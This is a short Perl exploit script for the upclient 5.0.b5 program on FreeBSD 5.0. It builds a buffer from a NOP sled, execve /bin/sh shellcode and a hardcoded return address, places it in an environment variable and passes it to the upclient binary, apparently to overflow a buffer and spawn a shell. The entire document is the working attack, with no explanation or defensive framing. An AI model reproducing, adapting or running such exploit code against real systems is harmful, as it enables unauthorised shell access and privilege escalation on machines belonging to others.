#!/usr/bin/perl # Upclient exploit # Testet on FreeBSD 5.0 - upclient version 5.0.b5 from ports # Code by inv[at]dtors $ret_tmp = 0xbfbff610; $nops = "\x90"x993; $shellcode ="\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56". #freebsd 29bytes "\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f". #execve /bin/sh "\x62\x69\x6e\x2f\x73\x68\x23"; #zillionATsafemode.org $ret = pack('l', $ret_tmp); $buffer = "$nops"."$shellcode"."$ret"x2; print "DSR upclient exploit\n"; print ("Address: 0x", sprintf('%lx', $ret_tmp),"\n"); local($ENV{'EGG'}) = $buffer; exec('/usr/local/sbin/upclient -c $EGG'); 
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